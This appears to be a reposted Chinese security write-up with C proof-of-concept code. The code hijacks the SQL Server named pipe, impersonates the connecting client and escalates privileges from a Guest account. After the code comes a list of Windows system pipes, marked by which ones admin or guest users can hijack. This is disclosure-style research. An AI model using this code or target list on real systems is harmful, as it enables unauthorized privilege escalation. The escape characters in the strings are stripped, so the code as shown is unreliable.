void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的测试,在GUEST权限下无法打开此文件
fp = fopen("C:test.txt","w");
if(fp==NULL)
printf("now you don't open file;n");
//建立起一个同名管道,复用已存在的SQL SERVER的
pipea = CreateNamedPipe(".pipesqlquery",PIPE_ACCESS_DUPLEX,PIPE_TYPE_MESSAGE|PIPE_WAIT,100,2048,NMPWAIT_USE_DEFAULT_WAIT,NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%dn",ret);
return;
}
//损耗掉其他正常实例
if(WaitNamedPipe(".pipesqlquery",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipen");
return;
}
//可以调整个数,SQL SERVER只需要调整一个就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile(".pipesqlquery",GENERIC_WRITE|GENERIC_READ,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failedn");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",NULL);
}
//然后等待连接
ConnectNamedPipe (pipea,NULL);
ReadFile(pipea,(void *) &dwNumber,4,&dwSize,NULL);
//模拟连接进来的用户
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//获得用户信息
GetUserName(szUser,&dwSize);
printf ("Impersonating: %sn",szUser);
//然后再测试是否能打开这个文件,证明确实提升了权限
fp = fopen("C:test.txt","w");
if(fp!=NULL)
printf("now you can open filen");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
}
补充:
所有管道都有这个漏洞,就是看ACL能否允许你复用,只要能复用就可以
如//./pipe/lsass 我都可以劫持,但是他的ACL定义成只能administrator进行劫持
目前测试了一下默认的一些管道基本ACL设置好好,不允许低级权限用户复制,但SQL的管道显示ACL设置的很差
可能更多服务或者其他的第三方的服务中存在这样没有很好ACL保护的管道,那么就意味着后复用也可以劫持成功
下面是我开启了所有默认的WIN的服务,然后获取的系统管道测试的结果(没有开启终端服务,我机器没装,装了终端服务的可以测一下),另外也不能说没有意义,我前面看见一篇文章还专门推荐用集成验证加管道通讯获得更安全的SQL SERVER呢,嘿嘿
Pipe name (Number of instances,Maximum instances)
InitShutdown (2,-1)<---------------可以在ADMIN下劫持
netNtControlPipe5 (1,1)
llsrpc (2,-1) <---------------可以在ADMIN下劫持
000001e8.000 (2,-1) <-----------可以在ADMIN下劫持
netNtControlPipe8 (1,1)
netNtControlPipe9 (1,1)
ProfMapApi (2,-1)<--------------可以在ADMIN下劫持
epmapper (2,-1)<----------------可以在ADMIN下劫持
WMIEP_454 (2,-1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
WMIEP_444 (2,-1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
netNtControlPipe11 (1,1)
WMIEP_3c8 (2,-1)<---------------可以在ADMIN下劫持
netNtControlPipe12 (1,1)
netNtControlPipe13 (1,1)
nddeapi (2,-1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
NetDDE (1,1) 返回所有管道实例都忙的错误信息,不知道是否ACL设置许可复用
netNtControlPipe14 (1,1)
Winsock2CatalogChangeListener-e8-0 (1,1)<-----------------可以在ADMIN下劫持
netNtControlPipe15 (1,1)
Winsock2CatalogChangeListener-574-0 (1,1)<-----------------可以在ADMIN下劫持
WMIEP_640 (2,-1)<-----------------可以在ADMIN下劫持
Winsock2CatalogChangeListener-640-0 (1,1)<-----------------可以在ADMIN下劫持
netNtControlPipe25 (1,1)
WMIEP_6f0 (2,-1)<-----------------可以在ADMIN下劫持
sqlconsole (1,-1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
SQLQUERY (1,-1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
netNtControlPipe26 (1,1)
tsx_listener (1,1) 返回所有管道实例都忙的错误信息,不知道是否ACL设置许可复用
winreg (2,-1)<-----------------可以在ADMIN下劫持
Winsock2CatalogChangeListener-6f0-0 (1,1)<-----------------可以在ADMIN下劫持
其中在GUEST权限下可劫持的有
WMIEP_454 (2,-1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
nddeapi (2,-1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
sqlconsole (1,-1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL 的就不说了,不过sqlconsole这个管道用于什么方面还不清楚,如果有默认的一些用途的话,估计也是一个点。
nddeapi的基本存在nddeapi的应用的话就可以发生
WMI的就难点,看这样子是随着发展每个连接都会新建起来的,那样后复用作用就不大,只能采用预测名字的方法提前复用来攻击,但是奇怪的是其权限是不同的,有些WMI的不能GUEST复用,有些又可以,有时间了具体测试一下WMI客户与服务器之间连接产生的管道通讯的情况,或许也是走一个默认的管道名,说不定就可以攻击了呢,:)
(编辑:李大同)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!